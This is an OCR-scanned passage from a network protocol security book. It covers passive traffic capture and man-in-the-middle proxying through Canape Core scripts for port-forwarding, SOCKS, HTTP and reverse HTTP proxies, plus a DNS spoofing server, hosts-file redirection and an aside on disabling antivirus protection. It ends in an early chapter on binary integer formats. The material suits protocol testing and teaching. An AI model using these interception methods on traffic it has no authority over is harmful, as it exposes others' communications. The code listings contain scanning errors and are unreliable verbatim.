process: 'Mail' 173.194.67.109:993
process: 'syncdefaultsd'’ 17.167.137.30:443

process: 'AddressBookSour' 17.172.192.30:443

Listing 2-3: Example output from traceconnect.d script

The output shows individual connections to IP addresses, printing out
the process name, for example 'Google chrome', the IP address, and the port



connected to. Unfortunately, the output isn’t always as useful as the output
from strace on Linux, but DTrace is certainly a valuable tool. This
demonstration only scratches the surface of what D'Trace can do.

Process Monitor on Windows

In contrast to Unix-like systems, Windows implements its user-mode
network functions without direct system calls. The networking stack is
exposed through a driver, and establishing a connection uses the file open,
read, and write system calls to configure a network socket for use. Even if
Windows supported a facility similar to strace, this implementation makes it
more difficult to monitor network traffic at the same level as other
platforms.

Windows, starting with Vista and later, has supported an event
generation framework that allows applications to monitor network activity.
Writing your own implementation of this would be quite complex, but
fortunately, someone has already written a tool to do it for you: Microsoft’s
Process Monitor tool. Figure 2-5 shows the main interface when filtering
only on network connection events.
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Figure 2-5: An example Process Monitor capture

Showing 48 of 38,016 events (0.12%)

Backed by virtual memory

Selecting the filter circled in Figure 2-5 displays only events related to




network connections from a monitored process. Details include the hosts
involved as well as the protocol and port being used. Although the capture
doesn’t provide any data associated with the connections, it does offer
valuable insight into the network communications the application is
establishing. Process Monitor can also capture the state of the current calling
stack, which helps you determine where in an application network
connections are being made. This will become important in Chapter 6 when
we start reverse engineering binaries to work out the network protocol.
Figure 2-6 shows a single HT'T'P connection to a remote server in detail.
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Figure 2-6: A single captured connection

Column @ shows the name of the process that established the

connection. Column @ shows the operation, which in this case is connecting
to a remote server, sending the initial HT'TP request and receiving a

response. Column © indicates the source and destination addresses, and
column @ provides more in-depth information about the captured event.

Although this solution isn’t as helpful as monitoring system calls on other
platforms, it’s still useful in Windows when you just want to determine the
network protocols a particular application is using. You can’t capture data
using this technique, but once you determine the protocols in use, you can
add that information to your analysis through more active network traffic
capture.

Advantages and Disadvantages of Passive Capture

The greatest advantage of using passive capture is that it doesn’t disrupt the
client and server applications’ communication. It will not change the
destination or source address of traffic, and it doesn’t require any



modifications or reconfiguration of the applications.

Passive capture might also be the only technique you can use when you
don’t have direct control over the client or the server. You can usually find a
way to listen to the network traffic and capture it with a limited amount of
effort. After you've collected your data, you can determine which active
capture techniques to use and the best way to attack the protocol you want
to analyze.

One major disadvantage of passive network traffic capture is that capture
techniques like packet sniffing run at such a low level that it can difficult to
interpret what an application received. Tools such as Wireshark certainly
help, but if you’re analyzing a custom protocol, it might not be possible to
easily take apart the protocol without interacting with it directly.

Passive capture also doesn’t always make it easy to modify the traffic an
application produces. Modifying traffic isn’t always necessary, but it’s useful
when you encounter encrypted protocols, want to disable compression, or
need to change the traffic for exploitation.

When analyzing traffic and injecting new packets doesn’t yield results,
switch tactics and try using active capture techniques.

Active Network Traffic Capture

Active capture differs from passive in that you’ll try to influence the flow of
the traffic, usually by using a man-in-the-middle attack on the network
communication. As shown in Figure 2-7, the device capturing traffic usually
sits between the client and server applications, acting as a bridge. This
approach has several advantages, including the ability to modify traffic and
disable features like encryption or compression, which can make it easier to
analyze and exploit a network protocol.

-
|-t g -
o]
Client application Man-inthe-middle proxy Server application

Figure 2-7: A man-in-the-middle proxy



A disadvantage of this approach is that it’s usually more difficult because
you need to reroute the application’s traffic through your active capture
system. Active capture can also have unintended, undesirable effects. For
example, if you change the network address of the server or client to the
proxy, this can cause confusion, resulting in the application sending traffic to
the wrong place. Despite these issues, active capture is probably the most
valuable technique for analyzing and exploiting application network
protocols.

Network Proxies

The most common way to perform a man-in-the-middle attack on network
traffic is to force the application to communicate through a proxy service. In
this section, I'll explain the relative advantages and disadvantages of some of
the common proxy types you can use to capture traffic, analyze that data, and
exploit a network protocol. I'll also show you how to get traffic from typical
client applications into a proxy.

Port-Forwarding Proxy

Port forwarding is the easiest way to proxy a connection. Just set up a
listening server (T'CP or UDP) and wait for a new connection. When that
new connection is made to the proxy server, it will open a forwarding
connection to the real service and logically connect the two, as shown in

Figure 2-8.
Listening TCP
TCP—={ TCP y ~t—TCP —| o
: client
service (—\
Client application TCP portforwarding proxy Server application

Figure 2-8: Overview of a TCP port-forwarding proxy

Simple Implementation



To create our proxy, we’ll use the built-in TCP port forwarder included
with the Canape Core libraries. Place the code in Listing 2-4 into a C#

script file, changing LocaLrort @, remoterosT ©, and remoterorT @ to appropriate
values for your network.

PortFormat
Proxy.csx

// PortFormatProxy.csx - Simple TCP port-forwarding proxy
// Expose methods like WriteLine and WritePackets

using static System.Console;

using static CANAPE.Cli.ConsoleUtils;

// Create proxy template

var template = new @FixedProxyTemplate();
template.LocalPort = @LOCALPORT;
template.Host = ©"REMOTEHOST";
template.Port = @REMOTEPORT;

// Create proxy instance and start

O var service = template.Create();
service.Start();

WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();

O service.Stop();

// Dump packets

var packets = service.Packets;

WriteLine("Captured {0} packets:",
packets.Count);

@ { WritePackets(packets);

Listing 2-4: A simple TCP port-forwarding proxy example

This very simple script creates an instance of a FixedProxyTemplate @.
Canape Core works on a template model, although if required you can get
down and dirty with the low-level network configuration. The script
configures the template with the desired local and remote network

information. The template is used to create a service instance at ©; you can
think of documents in the framework acting as templates for services. The
newly created service is then started; at this point, the network connections

are configured. After waiting for a key press, the service is stopped at @.
Then all the captured packets are written to the console using the



WritePackets() method @.

Running this script should bind an instance of our forwarding proxy to
the cocacrort number for the localhost interface only. When a new TCP
connection is made to that port, the proxy code should establish a new
connection to remoreHosT with TCP port remorerort and link the two
connections together.

Binding a proxy to all network addresses can be risky from a security perspective
because proxies written for testing protocols ravely implement robust security
mechanisms. Unless you have complete control over the metwork you are
connected to or have no choice, only bind your proxy to the local loopback
interface. In Listing 2-4, the default is LocaLHosT; to bind to all interfaces, set the
AnyBind property to true.

Redirecting Traffic to Proxy

With our simple proxy application complete, we now need to direct our
application traffic through it.

For a web browser, it’s simple enough: to capture a specific request,
instead of wusing the URL form http://www.domain.com/resource, use
http://localbost:localport/resource, which pushes the request through your
port-forwarding proxy.

Other applications are trickier: you might have to dig into the
application’s configuration settings. Sometimes, the only setting an
application allows you to change is the destination IP address. But this can
lead to a chicken-and-egg scenario where you don’t know which TCP or
UDP ports the application might be using with that address, especially if the
application contains complex functions running over multiple different
service connections. This occurs with Remzote Procedure Call (RPC) protocols,
such as the Common Object Request Broker Architecture (CORBA). This
protocol usually makes an initial network connection to a broker, which acts
as a directory of available services. A second connection is then made to the
requested service over an instance-specific TCP port.

In this case, a good approach is to use as many network-connected



features of the application as possible while monitoring it using passive
capture techniques. By doing so, you should uncover the connections that
application typically makes, which you can then easily replicate with
forwarding proxies.

If the application doesn’t support changing its destination, you need to be
a bit more creative. If the application resolves the destination server address
via a hostname, you have more options. You could set up a custom DNS
server that responds to name requests with the IP address of your proxy. Or
you could use the hosts file facility, which is available on most operating
systems, including Windows, assuming you have control over system files on
the device the application is running on.

During hostname resolving, the OS (or the resolving library) first refers
to the hosts file to see if any local entries exist for that name, making a DNS
request only if one is not found. For example, the hosts file in Listing 2-5
redirects the hostnames www.badgers.com and www.domain.com to localhost.

# Standard Localhost addresses

127.0.0.1 localhost

HE| localhost

# Following are dummy entries to redirect traffic through the proxy
127.0.0.1 www . badgers.com

127.0.0.1 www.domain.com

Listing 2-5: An example hosts file

The standard location of the hosts file on Unix-like OSes is /etc/bosts,
whereas on  Windows it is  C:\Windows\System32\Drivers\etc\hosts.
Obviously, you’ll need to replace the path to the Windows folder as
necessary for your environment.

Some antivirus and security products track changes to the system’s hosts, because
changes are a sign of malware. You might need to disable the product’s
protection if you want to change the hosts file.

Advantages of a Port-Forwarding Proxy

The main advantage of a port-forwarding proxy is its simplicity: you wait for


http://www.badgers.com
http://www.domain.com

a connection, open a new connection to the original destination, and then
pass traffic back and forth between the two. There is no protocol associated
with the proxy to deal with, and no special support is required by the
application from which you are trying to capture traffic.

A port-forwarding proxy is also the primary way of proxying UDP traffic;
because it isn’t connection oriented, the implementation of a forwarder for
UDP is considerably simpler.

Disadvantages of a Port-Forwarding Proxy

Of course, the simplicity of a port-forwarding proxy also contributes to its
disadvantages. Because you are only forwarding traffic from a listening
connection to a single destination, multiple instances of a proxy would be
required if the application uses multiple protocols on different ports.

For example, consider an application that has a single hostname or IP
address for its destination, which you can control either directly by changing
it in the application’s configuration or by spoofing the hostname. The
application then attempts to connect to TCP ports 443 and 1234. Because
you can control the address it connects to, not the ports, you need to set up
forwarding proxies for both, even if you are only interested in the traffic
running over port 1234.

This proxy can also make it difficult to handle more than one connection
to a well-known port. For example, if the port-forwarding proxy is listening
on port 1234 and making a connection to www.domain.com port 1234, only
redirected traffic for the original domain will work as expected. If you
wanted to also redirect www.badgers.com, things would be more difficult. You
can mitigate this if the application supports specifying the destination
address and port or by using other techniques, such as Destination Network
Address Translation (DNAT), to redirect specific connections to unique
forwarding proxies. (Chapter 5 contains more details on DNAT as well as
numerous other more advanced network capture techniques.)

Additionally, the protocol might use the destination address for its own
purposes. For example, the Host header in HyperText Transport Protocol
(HTTP) can be used for Virtual Host decisions, which might make a port-
forwarded protocol work differently, or not at all, from a redirected
connection. Still, at least for HI'TP, I will discuss a workaround for this
limitation in “Reverse HT'I'P Proxy” on page 32.


http://www.domain.com
http://www.badgers.com

SOCKS Proxy

Think of a SOCKS proxy as a port-forwarding proxy on steroids. Not only
does it forward TCP connections to the desired network location, but all
new connections start with a simple handshake protocol that informs the
proxy of the ultimate destination rather than having it fixed. It can also
support listening connections, which is important for protocols like File
Transfer Protocol (FTP) that need to open new local ports for the server to
send data to. Figure 2-9 provides an overview of SOCKS proxy.
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www.domain.com

Y
o]

socks | Llistening
g »| SOCKS

.
-
=1 =

\ TCP listener TCP
Client application SOCKS proxy from = - o

www.badgers.com

Server www. dom ain.com

4

- e

Server www. badgers.com

Figure 2-9: Overview of SOCKS proxy

Three common variants of the protocol are currently in use—SOCKS 4,
4a, and 5—and each has its own use. Version 4 is the most commonly
supported version of the protocol; however, it supports only IPv4
connections, and the destination address must be specified as a 32-bit IP
address. An update to version 4, version 4a allowed connections by hostname
(which is useful if you don’t have a DNS server that can resolve IP
addresses). Version 5 introduced hostname support, IPv6, UDP forwarding,
and improved authentication mechanisms; it is also the only one specified in

an RFC (1928).

As an example, a client will send the request shown in Figure 2-10 to
establish a SOCKS connection to IP address 10.0.0.1 on port 12345. The
usernaME component is the only method of authentication in SOCKS version
4 (not especially secure, I know). ver represents the version number, which in
this case is 4. cup indicates it wants to connect out (binding to an address is
cvp 2), and the TCP port and address are specified in binary form.



VER | CMD TCP PORT IP ADDRESS USERNAME NULL
ox04 | Ox01 12345 0x10000001 "james™ 0x00

Size in octets 1 1 2 4 VARIABLE 1
Figure 2-10: A SOCKS version 4 request

If the connection is successful, it will send back the appropriate response,
as shown in Figure 2-11. The resp field indicates the status of the response;
the TCP port and address fields are only significant for binding requests.
Then the connection becomes transparent and the client and server directly
negotiate with each other; the proxy server only acts to forward traffic in
either direction.

VER | RESP TCP PORT IP ADDRESS
0X04 | Ox5A 0 0
Size in octets 1 1 2 4

Figure 2-11: A SOCKS version 4 successful response

Simple Implementation

The Canape Core libraries have built-in support for SOCKS 4, 4a, and 5.

Place Listing 2-6 into a C# script file, changing cocaLrort @ to the local TCP
port you want to listen on for the SOCKS proxy.

SocksProxy.csx

// SocksProxy.csx - Simple SOCKS proxy

// Expose methods like WriteLine and WritePackets
using static System.Console;

using static CANAPE.Cli.ConsoleUtils;

// Create the SOCKS proxy template
@ var template = new SocksProxyTemplate();
template.LocalPort = @LOCALPORT;

// Create proxy instance and start
var service = template.Create();
service.Start();

WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();

service.Stop();



// Dump packets

var packets = service.Packets;

WriteLine("Captured {0} packets:",
packets.Count);

WritePackets(packets);

Listing 2-6: A simple SOCKS proxy example

Listing 2-6 follows the same pattern established with the TCP port-

forwarding proxy in Listing 2-4. But in this case, the code at @ creates a
SOCKS proxy template. The rest of the code is exactly the same.

Redirecting Traffic to Proxy

To determine a way of pushing an application’s network traffic through a
SOCKS proxy, look in the application first. For example, when you open the
proxy settings in Mozilla Firefox, the dialog in Figure 2-12 appears. From
there, you can configure Firefox to use a SOCKS proxy.
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Figure 2-12: Firefox proxy configuration

But sometimes SOCKS support is not immediately obvious. If you are
testing a Java application, the Java Runtime accepts command line
parameters that enable SOCKS support for any outbound T'CP connection.

For example, consider the very simple Java application in Listing 2-7, which
connects to IP address 192.168.10.1 on port 5555.

SocketClient. java

// SocketClient.java - A simple Java TCP socket client
import java.io.PrintWriter;
import java.net.Socket;



public class SocketClient {
public static void main(String[] args) {

try {
Socket s = new Socket("192.168.10.1", 5555);
PrintWriter out = new PrintWriter(s.getOutputStream(), true);
out.println("Hello World!");
s.close();

} catch(Exception e) {

}

}

Listing 2-7: A simple Java TCP client

When you run this compiled program normally, it would do as you
expect. But if on the command line you pass two special system properties,
socksProxyHost and socksProxyPort, you can specify a SOCKS proxy for any TCP
connection:

java -DsocksProxyHost=1localhost -DsocksProxyPort=1080 SocketClient

This will make the TCP connection through the SOCKS proxy on
localhost port 1080.

Another place to look to determine how to push an application’s network
traffic through a SOCKS proxy is the OS’s default proxy. On macOS,
navigate to System Preferences » Network » Advanced » Proxies. The
dialog shown in Figure 2-13 appears. From here, you can configure a
system-wide SOCKS proxy or general proxies for other protocols. This
won’t always work, but it’s an easy option worth trying out.

In addition, if the application just will not support a SOCKS proxy
natively, certain tools will add that function to arbitrary applications. These
tools range from free and open source tools, such as Dante
(https://www.inet.no/dante/) on Linux, to commercial tools, such as Proxifier
(https://www.proxifier.com/), which runs on Windows and macOS. In one way
or another, they all inject into the application to add SOCKS support and
modify the operation of the socket functions.
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Figure 2-13: A proxy configuration dialog on macOS

Advantages of a SOCKS Proxy

The clear advantage of using a SOCKS proxy, as opposed to using a simple
port forwarder, is that it should capture all TCP connections (and
potentially some UDP if you are using SOCKS version 5) that an application
makes. This is an advantage as long as the OS socket layer is wrapped to
effectively push all connections through the proxy.

A SOCKS proxy also generally preserves the destination of the
connection from the point of view of the client application. Therefore, if a
client application sends in-band data that refers to its endpoint, then the
endpoint will be what the server expects. However, this does not preserve
the source address. Some protocols, such as FIP, assume they can request
ports to be opened on the originating client. The SOCKS protocol provides



a facility for binding listening connections but adds to the complexity of the
implementation. This makes capture and analysis more difficult because you
must consider many different streams of data to and from a server.

Disadvantages of a SOCKS Proxy

The main disadvantage of SOCKS is that support can be inconsistent
between applications and platforms. The Windows system proxy supports
only SOCKS version 4 proxies, which means it will resolve only local
hostnames. It does not support IPv6 and does not have a robust
authentication mechanism. Generally, you get better support by using a
SOCKS tool to add to an existing application, but this doesn’t always work
well.

HTTP Proxies

HTTP powers the World Wide Web as well as a myriad of web services and
RESTtul protocols. Figure 2-14 provides an overview of an HT'TP proxy.
The protocol can also be co-opted as a transport mechanism for non-web
protocols, such as Java’s Remote Method Invocation (RMI) or Real Time
Messaging Protocol (RTMP), because it can tunnel though the most
restrictive firewalls. It is important to understand how HTTP proxying
works in practice, because it will almost certainly be useful for protocol
analysis, even if a web service is not being tested. Existing web application—
testing tools rarely do an ideal job when HTTP is being used out of its
original environment. Sometimes rolling your own implementation of an
HTTP proxy is the only solution.
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Figure 2-14: Overview of an HTTP proxy

The two main types of HI'TP proxy are the forwarding proxy and the
reverse proxy. Fach has advantages and disadvantages for the prospective
network protocol analyzer.

Forwarding an HTTP Proxy

The HTTP protocol is specified in RFC 1945 for version 1.0 and RFC 2616
for version 1.1; both versions provide a simple mechanism for proxying
HTTP requests. For example, HI'I'P 1.1 specifies that the first full line of a
request, the request line, has the following format:

OGET ®/image.jpg HTTP/1.1

The method @ specifies what to do in that request using familiar verbs,
such as GeT, post, and Herp. In a proxy request, this does not change from a

normal HTTP connection. The path @ is where the proxy request gets
interesting. As is shown, an absolute path indicates the resource that the
method will act upon. Importantly, the path can also be an absolute Uniform
Request Identifier (URI). By specifying an absolute URI, a proxy server can
establish a new connection to the destination, forwarding all traffic on and
returning data back to the client. The proxy can even manipulate the traffic,
in a limited fashion, to add authentication, hide version 1.0 servers from 1.1
clients, and add transfer compression along with all manner of other things.
However, this flexibility comes with a cost: the proxy server must be able to
process the HT'TP traffic, which adds massive complexity. For example, the
following request line accesses an image resource on a remote server
through a proxy:

GET http://www.domain.com/image.jpg HTTP/1.1

You, the attentive reader, might have identified an issue with this
approach to proxying HI'TP communication. Because the proxy must be
able to access the underlying HT'TP protocol, what about HT'T'PS, which
transports HT'TP over an encrypted TLS connection? You could break out
the encrypted traffic; however, in a normal environment, it is unlikely the
HTTP client would trust whatever certificate you provided. Also, TLS is



intentionally designed to make it virtually impossible to use a man-in-the-
middle attack any other way. Fortunately, this was anticipated, and RFC
2817 provides two solutions: it includes the ability to upgrade an HT'TP
connection to encryption (there is no need for more details here), and more
importantly for our purposes, it specifies the connect HT'TP method for
creating transparent, tunneled connections over HTTP proxies. As an
example, a web browser that wants to establish a proxy connection to an
HTTPS site can issue the following request to the proxy:

CONNECT www.domain.com:443 HTTP/1.1

If the proxy accepts this request, it will make a new TCP connection to
the server. On success, it should return the following response:

HTTP/1.1 200 Connection Established

The TCP connection to the proxy now becomes transparent, and the
browser is able to establish the negotiated TLS connection without the
proxy getting in the way. Of course, it’s worth noting that the proxy is
unlikely to verify that TLS is actually being used on this connection. It could
be any protocol you like, and this fact is abused by some applications to
tunnel out their own binary protocols through HT'TP proxies. For this
reason, it’s common to find deployments of HI'TP proxies restricting the
ports that can be tunneled to a very limited subset.

Simple Implementation

Once again, the Canape Core libraries include a simple implementation of
an HTTP proxy. Unfortunately, they don’t support the convect method to
create a transparent tunnel, but it will suffice for demonstration purposes.

Place Listing 2-8 into a C# script file, changing rocaLrort @ to the local TCP
port you want to listen on.

HttpProxy.csx

// HttpProxy.csx - Simple HTTP proxy

// Expose methods like WriteLine and WritePackets
using static System.Console;

using static CANAPE.Cli.ConsoleUtils;

// Create proxy template



@ var template = new HttpProxyTemplate();
template.LocalPort = @LOCALPORT;

// Create proxy instance and start
var service = template.Create();
service.Start();

WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();

service.Stop();

// Dump packets

var packets = service.Packets;

WriteLine("Captured {0} packets:", packets.Count);
WritePackets(packets);

Listing 2-8: A simple forward HTTP proxy example

Here we created a forward HI'TP Proxy. The code at line @ is again
only a slight variation from the previous examples, creating an HT'TP proxy
template.

Redirecting Traffic to Proxy

As with SOCKS proxies, the first port of call will be the application. It’s rare
for an application that uses the HI'TP protocol to not have some sort of
proxy configuration. If the application has no specific settings for HT'T'P
proxy support, try the OS configuration, which is in the same place as the
SOCKS proxy configuration. For example, on Windows you can access the
system proxy settings by selecting Control Panel » Internet Options »
Connections » LAN Settings.

Many command line utilities on Unix-like systems, such as curt, wget, and
apt, also support setting HT'T'P proxy configuration through environment
variables. If you set the environment variable http_proxy to the URL for the
HTTP proxy to use—for example, htep://localbost:3128—the application will
use it. For secure traffic, you can also use ht#ps_proxy. Some implementations
allow special URL schemes, such as socks4://, to specify that you want to use

a SOCKS proxy.

Advantages of a Forwarding HTTP Proxy
The main advantage of a forwarding HT'T'P proxy is that if the application



uses the HT'TP protocol exclusively, all it needs to do to add proxy support
is to change the absolute path in the Request Line to an absolute URI and
send the data to a listening proxy server. Also, only a few applications that
use the HT'T'P protocol for transport do not already support proxying.

Disadvantages of a Forwarding HTTP Proxy

The requirement of a forwarding HI'TP proxy to implement a full HT'TP
parser to handle the many idiosyncrasies of the protocol adds significant
complexity; this complexity might introduce processing issues or, in the
worst case, security vulnerabilities. Also, the addition of the proxy
destination within the protocol means that it can be more difficult to retrofit
HTTP proxy support to an existing application through external techniques,
unless you convert connections to use the connect method (which even works

for unencrypted HT'TP).

Due to the complexities of handling a full HT'TP 1.1 connection, it is
common for proxies to either disconnect clients after a single request or
downgrade communications to version 1.0 (which always closes the response
connection after all data has been received). This might break a higher-level
protocol that expects to use version 1.1 or request pipelining, which is the
ability to have multiple requests iz flight to improve performance or state

locality.

Reverse HTTP Proxy

Forwarding proxies are fairly common in environments where an internal
client is connecting to an outside network. They act as a security boundary,
limiting outbound traffic to a small subset of protocol types. (Let’s just
ignore the potential security implications of the convect proxy for a moment.)
But sometimes you might want to proxy inbound connections, perhaps for
load-balancing or security reasons (to prevent exposing your servers directly
to the outside world). However, a problem arises if you do this. You have no
control over the client. In fact, the client probably doesn’t even realize it’s
connecting to a proxy. This is where the reverse HTTP proxy comes in.

Instead of requiring the destination host to be specified in the request
line, as with a forwarding proxy, you can abuse the fact that all HT'TP 1.1-
compliant clients must send a Host HT'I'P header in the request that



specifies the original hostname used in the URI of the request. (Note that
HTTP 1.0 has no such requirement, but most clients using that version will
send the header anyway.) With the Host header information, you can infer
the original destination of the request, making a proxy connection to that
server, as shown in Listing 2-9.

GET /image.jpg HTTP/1.1

User-Agent: Super Funky HTTP Client v1.0
Host: @www.domain.com

Accept: */*

Listing 2-9: An example HTTP request

Listing 2-9 shows a typical Host header @ where the HT'TP request was
to the URL htep://www.domain.com/image.jpg. The reverse proxy can easily
take this information and reuse it to construct the original destination.
Again, because there is a requirement for parsing the HI'TP headers, it is
more difficult to use for HTTPS traffic that is protected by TLS.
Fortunately, most TLS implementations take wildcard certificates where the
subject is in the form of *domain.com or similar, which would match any
subdomain of domain.com.

Simple Implementation

Unsurprisingly, the Canape Core libraries include a built-in HT'TP reverse
proxy implementation, which you can access by changing the template
object to HttpReverseProxyTemplate from HttpProxyTemplate. But for
completeness, Listing 2-10 shows a simple implementation. Place the

following code in a C# script file, changing rocacrorT @ to the local TCP port
you want to listen on. If tocaLrorr is less than 1024 and you’re running this on
a Unix-style system, you’ll also need to run the script as root.

ReverseHttp
Proxy.csx

// ReverseHttpProxy.csx - Simple reverse HTTP proxy
// Expose methods like WriteLine and WritePackets
using static System.Console;

using static CANAPE.Cli.ConsoleUtils;

// Create proxy template
var template = new HttpReverseProxyTemplate();


http://www.domain.com/image.jpg
http://domain.com

template.LocalPort = @LOCALPORT;

// Create proxy instance and start
var service = template.Create();
service.Start();

WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();

service.Stop();

// Dump packets

var packets = service.Packets;

WriteLine("Captured {0} packets:",
packets.Count);

WritePackets(packets);

Listing 2-10: A simple reverse HTTP proxy example

Redirecting Traffic to Your Proxy

The approach to redirecting traffic to a reverse HI'TP proxy is similar to
that employed for TCP port-forwarding, which is by redirecting the
connection to the proxy. But there is a big difference; you can’t just change
the destination hostname. This would change the Host header, shown in

Listing 2-10. If you’re not careful, you could cause a proxy loop.! Instead,
it’s best to change the IP address associated with a hostname using the hosts

file.

But perhaps the application you’re testing is running on a device that
doesn’t allow you to change the hosts file. Therefore, setting up a custom
DNS server might be the easiest approach, assuming you’re able to change
the DNS server configuration.

You could use another approach, which is to configure a full DNS server
with the appropriate settings. This can be time consuming and error prone;
just ask anyone who has ever set up a bind server. Fortunately, existing tools
are available to do what we want, which is to return our proxy’s IP address in
response to a DNS request. Such a tool is dusspoof. To avoid installing
another tool, you can do it using Canape’s DNS server. The basic DNS
server spoofs only a single IP address to all DNS requests (see Listing 2-11).

Replace 1pvaaporess @, 1pvsappress @, and reverseons © with appropriate strings.
As with the HT'TP Reverse Proxy, you’ll need to run this as root on a Unix-
like system, as it will try to bind to port 53, which is not usually allowed for



normal users. On Windows, there’s no such restriction on binding to ports
less than 1024.

DnsServer.csx

// DnsServer.csx - Simple DNS Server
// Expose console methods like WriteLine at global level.
using static System.Console;

// Create the DNS server template
var template = new DnsServerTemplate();

// Setup the response addresses
template.ResponseAddress = @"IPV4ADDRESS";

template.ResponseAddress6 = @®"IPV6ADDRESS";
template.ReverseDns = ©"REVERSEDNS";

// Create DNS server instance and start
var service = template.Create();
service.Start();

WriteLine("Created {0}", service);
WriteLine("Press Enter to exit...");
ReadLine();

service.Stop();

Listing 2-11: A simple DNS server

Now if you configure the DNS server for your application to point to
your spoofing DNS server, the application should send its traffic through.

Advantage of a Reverse HTTP Proxy

The advantage of a reverse HI'TP proxy is that it doesn’t require a client
application to support a typical forwarding proxy configuration. This is
especially useful if the client application is not under your direct control or
has a fixed configuration that cannot be easily changed. As long as you can
force the original TCP connections to be redirected to the proxy, it’s
possible to handle requests to multiple different hosts with little difficulty.

Disadvantages of a Reverse HTTP Proxy

The disadvantages of a reverse HI'TP proxy are basically the same as for a
forwarding proxy. The proxy must be able to parse the HT'TP request and
handle the idiosyncrasies of the protocol.



Final Words

You've read about passive and active capture techniques in this chapter, but
is one better than the other? That depends on the application you’re trying
to test. Unless you are just monitoring network traffic, it pays to take an
active approach. As you continue through this book, you’ll realize that active
capture has significant benefits for protocol analysis and exploitation. If you
have a choice in your application, use SOCKS because it’s the easiest
approach in many circumstances.



3
NETWORK PROTOCOL STRUCTURES

The old adage “There is nothing new under the sun” holds true when it
comes to the way protocols are structured. Binary and text protocols follow
common patterns and structures and, once understood, can easily be applied
to any new protocol. This chapter details some of these structures and
formalizes the way I'll represent them throughout the rest of this book.

In this chapter, I discuss many of the common types of protocol
structures. Each is described in detail along with how it is represented in
binary- or text-based protocols. By the end of the chapter, you should be
able to easily identify these common types in any unknown protocol you
analyze.

Once you understand how protocols are structured, you’ll also see
patterns of exploitable behavior—ways of attacking the network protocol
itself. Chapter 10 will provide more detail on finding network protocol
issues, but for now we’ll just concern ourselves with structure.

Binary Protocol Structures

Binary protocols work at the binary level; the smallest unit of data is a single
binary digit. Dealing with single bits is difficult, so we’ll use 8-bit units called
octets, commonly called byres. The octet is the de facto unit of network
protocols. Although octets can be broken down into individual bits (for
example, to represent a set of flags), we’ll treat all network data in 8-bit
units, as shown in Figure 3-1.

Bit 7/MSB Bit O/LSB

Bit format: ﬁl 0000 Dé = Ox41/65
Octet format: Ox4 1

Figure 3-1: Binary data description formats

When showing individual bits, I'll use the bit format, which shows bit 7,



the most significant bit (MSB), on the left. Bit 0, or the least significant bit
(LSB), is on the right. (Some architectures, such as PowerPC, define the bit
numbering in the opposite direction.)

Numeric Data

Data values representing numbers are usually at the core of a binary
protocol. These values can be integers or decimal values. Numbers can be
used to represent the length of data, to identify tag values, or simply to
represent a number.

In binary, numeric values can be represented in a few different ways, and
a protocol’s method of choice depends on the value it’s representing. The
following sections describe some of the more common formats.

Unsigned Integers

Unsigned integers are the most obvious representation of a binary number.
Each bit has a specific value based on its position, and these values are added
together to represent the integer. Table 3-1 shows the decimal and
hexadecimal values for an 8-bit integer.

Table 3-1: Decimal Bit Values

Bit Decimal value Hex value

0 1 0x01
1 2 0x02
2 4 0x04
3 8 0x08
4 16 0x10
5 32 0x20
6 64 0x40
7 128 0x80




Signed Integers

Not all integer values are positive. In some scenarios, negative integers are
required—for example, to represent the difference between two integers,
you need to take into account that the difference could be negative—and
only signed integers can hold negative values. While encoding an unsigned
integer seems obvious, the CPU can only work with the same set of bits.
Therefore, the CPU requires a way of interpreting the unsigned integer
value as signed; the most common signed interpretation is two’s
complement. The term rwo’s complement refers to the way in which the
signed integer is represented within a native integer value in the CPU.

Conversion between unsigned and signed values in two’s complement is
done by taking the bitwise NOT (where a 0 bit is converted to a 1 and 1 is
converted to a 0) of the integer and adding 1. For example, Figure 3-2 shows
the 8-bit integer 123 converted to its two’s complement representation.

MSB LSB
NOT 01111011 = 0x7B/123
+1 10000100 = 0x84/-124
= 10000101 = 0x85/-123

Figure 3-2: The two’s complement representation of 123

The two’s complement representation has one dangerous security
consequence. For example, an 8-bit signed integer has the range —128 to
127, so the magnitude of the minimum is larger than the maximum. If the
minimum value is negated, the result is itself; in other words, —(-128) is —
128. This can cause calculations to be incorrect in parsed formats, leading to
security vulnerabilities. We’ll go into more detail in Chapter 10.

Variable-Length Integers

Efficient transfer of network data has historically been very important. Even
though today’s high-speed networks might make efficiency concerns
unnecessary, there are still advantages to reducing a protocol’s bandwidth. It
can be beneficial to use variable-length integers when the most common



integer values being represented are within a very limited range.

For example, consider length fields: when sending blocks of data between
0 and 127 bytes in size, you could use a 7-bit variable integer representation.
Figure 3-3 shows a few different encodings for 32-bit words. At most, five
octets are required to represent the entire range. But if your protocol tends
to assign values between 0 and 127, it will only use one octet, which saves a
considerable amount of space.

Lowest address

':.]KSF as 7-bit Ox3F
variable integer
0x80 as 7-bit 0x80 | 0x01

variable integer

0x01020304 as

7-bit variable integer 0x84 | 0x86 | Ox88 | 0x08

OxFFFFFFFF as

7-bit variable integer OxFF | OxFF | OxFF | OxFF | OxOF

Figure 3-3: Example 7-bit integer encoding

That said, if you parse more than five octets (or even 32 bits), the
resulting integer from the parsing operation will depend on the parsing
program. Some programs (including those developed in C) will simply drop
any bits beyond a given range, whereas other development environments will
generate an overflow error. If not handled correctly, this integer overflow
might lead to vulnerabilities, such as buffer overflows, which could cause a
smaller than expected memory buffer to be allocated, in turn resulting in
memory corruption.



Floating-Point Data

Sometimes, integers aren’t enough to represent the range of decimal values
needed for a protocol. For example, a protocol for a multiplayer computer
game might require sending the coordinates of players or objects in the
game’s virtual world. If this world is large, it would be easy to run up against
the limited range of a 32- or even 64-bit fixed-point value.

The format of floating-point integers used most often is the IEEE format
specified in IEEE Standard for Floating-Point Arithmetic (IEEE 754).
Although the standard specifies a number of different binary and even
decimal formats for floating-point values, you'’re likely to encounter only
two: a single-precision binary representation, which is a 32-bit value; and a
double-precision, 64-bit value. Each format specifies the position and bit size
of the significand and exponent. A sign bit is also specified, indicating
whether the value is positive or negative. Figure 3-4 shows the general
layout of an IEEE floating-point value, and Table 3-2 lists the common
exponent and significand sizes.

Sign
|EEE floating-point format

Exponent Significand

MSB LSB
Figure 3-4: Floating-point representation

Table 3-2: Common Float Point Sizes and Ranges

Bit Exponent Significand Value range

size bits bits
32 8 23 +/—3.402823 x 1038
64 11 52 +/—1.79769313486232 x
10308
